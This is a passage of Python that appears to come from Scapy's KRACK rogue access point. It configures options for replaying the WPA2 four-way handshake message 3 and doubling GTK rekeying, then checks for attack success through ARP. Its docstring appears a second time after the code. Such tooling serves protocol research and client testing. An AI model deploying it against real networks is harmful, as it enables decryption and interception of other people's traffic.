def parse_args(self, ap_mac, ssid, passphrase,
                   channel=None,
                   # KRACK attack options
                   double_3handshake=True,
                   encrypt_3handshake=True,
                   wait_3handshake=0,
                   double_gtk_refresh=True,
                   arp_target_ip=None,
                   arp_source_ip=None,
                   wait_gtk=10,
                   **kwargs):
        """
        Mandatory arguments:
        @iface: interface to use (must be in monitor mode)
        @ap_mac: AP's MAC
        @ssid: AP's SSID
        @passphrase: AP's Passphrase (min 8 char.)

        Optional arguments:
        @channel: used by the interface. Default 6, autodetected on windows

        Krack attacks options:

         - Msg 3/4 handshake replay:
        double_3handshake: double the 3/4 handshake message
        encrypt_3handshake: encrypt the second 3/4 handshake message
        wait_3handshake: time to wait (in sec.) before sending the second 3/4
         - double GTK rekeying:
        double_gtk_refresh: double the 1/2 GTK rekeying message
        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
                       If None, use a DHCP server
        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
                       If None, use the DHCP server gateway address
        """
        super(KrackAP, self).parse_args(**kwargs)

        # Main AP options
        self.mac = ap_mac
        self.ssid = ssid
        self.passphrase = passphrase
        if channel is None:
            if WINDOWS:
                try:
                    channel = kwargs.get("iface", conf.iface).channel()
                except (Scapy_Exception, AttributeError):
                    channel = 6
            else:
                channel = 6
        self.channel = channel

        # Internal structures
        self.last_iv = None
        self.client = None
        self.seq_num = count()
        self.replay_counter = count()
        self.time_handshake_end = None
        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
                                       pool=Net("192.168.42.128/25"),
                                       network="192.168.42.0/24",
                                       gw="192.168.42.1")
        self.arp_sent = []
        self.arp_to_send = 0
        self.arp_retry = 0

        # Bit 0: 3way handshake sent
        # Bit 1: GTK rekeying sent
        # Bit 2: ARP response obtained
        self.krack_state = 0

        # Krack options
        self.double_3handshake = double_3handshake
        self.encrypt_3handshake = encrypt_3handshake
        self.wait_3handshake = wait_3handshake
        self.double_gtk_refresh = double_gtk_refresh
        self.arp_target_ip = arp_target_ip
        if arp_source_ip is None:
            # Use the DHCP server Gateway address
            arp_source_ip = self.dhcp_server.gw
        self.arp_source_ip = arp_source_ip
        self.wait_gtk = wait_gtk

        # May take several seconds
        self.install_PMK()
Mandatory arguments:
        @iface: interface to use (must be in monitor mode)
        @ap_mac: AP's MAC
        @ssid: AP's SSID
        @passphrase: AP's Passphrase (min 8 char.)

        Optional arguments:
        @channel: used by the interface. Default 6, autodetected on windows

        Krack attacks options:

         - Msg 3/4 handshake replay:
        double_3handshake: double the 3/4 handshake message
        encrypt_3handshake: encrypt the second 3/4 handshake message
        wait_3handshake: time to wait (in sec.) before sending the second 3/4
         - double GTK rekeying:
        double_gtk_refresh: double the 1/2 GTK rekeying message
        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
                       If None, use a DHCP server
        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
                       If None, use the DHCP server gateway address